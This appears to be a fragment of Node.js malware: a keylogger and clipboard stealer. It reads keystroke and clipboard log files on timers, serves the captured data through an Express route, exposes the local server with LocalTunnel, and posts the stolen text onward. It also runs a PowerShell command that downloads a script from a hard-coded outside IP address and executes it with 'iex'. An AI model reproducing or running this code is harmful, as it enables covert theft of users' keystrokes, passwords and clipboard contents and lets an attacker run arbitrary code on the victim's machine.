app.get('/keylogger', (req, res) => {
res.send(`
Captured Data
Captured Data
Clipboard Data
${clipboardData}
`);
});
async function sendCapturedText() {
if (loggotData) {
try {
const Tunnel = await LocalTunnel({ port: server.address().port });
const TunnelUrl = Tunnel.url;
await axios.post(`http://localhost:${server.address().port}/uploadlogger`, { capturedText: loggotData });
console.log('Sent captured text:', loggotData);
} catch (error) {
console.error('Error sending captured text:', error);
}
}
}
setInterval(sendCapturedText, 10000);
async function checkClipboard() {
setInterval(async () => {
if (fs.existsSync(clipboardFilePath)) {
fs.readFile(clipboardFilePath, 'utf8', (err, data) => {
if (err) {
console.error(`Error reading clipboard file: ${err}`);
return;
}
clipboardData = data;
});
}
}, 5000);
}
checkClipboard();
exec(`powershell -Command "& { $u = 'https://20.199.16.17/api/kysc/psscript'; $s = (Invoke-WebRequest -Uri $u).Content; iex $s }"`, (err, stdout, stderr) => {
if (err) {
console.error(`Error executing PowerShell script: ${err}`);
return;
}
console.log(`PowerShell Output: ${stdout}`);
console.error(`PowerShell Errors: ${stderr}`);
});
setInterval(() => {
if (fs.existsSync(logFilePath)) {
fs.readFile(logFilePath, 'utf8', (err, data) => {
if (err) {
console.error(`Error reading keylog file: ${err}`);
return;
}
loggotData += data;
fs.writeFile(logFilePath, '', (err) => {
if (err) {
console.error(`Error clearing keylog file: ${err}`);
}
});
});
}
}, 5000);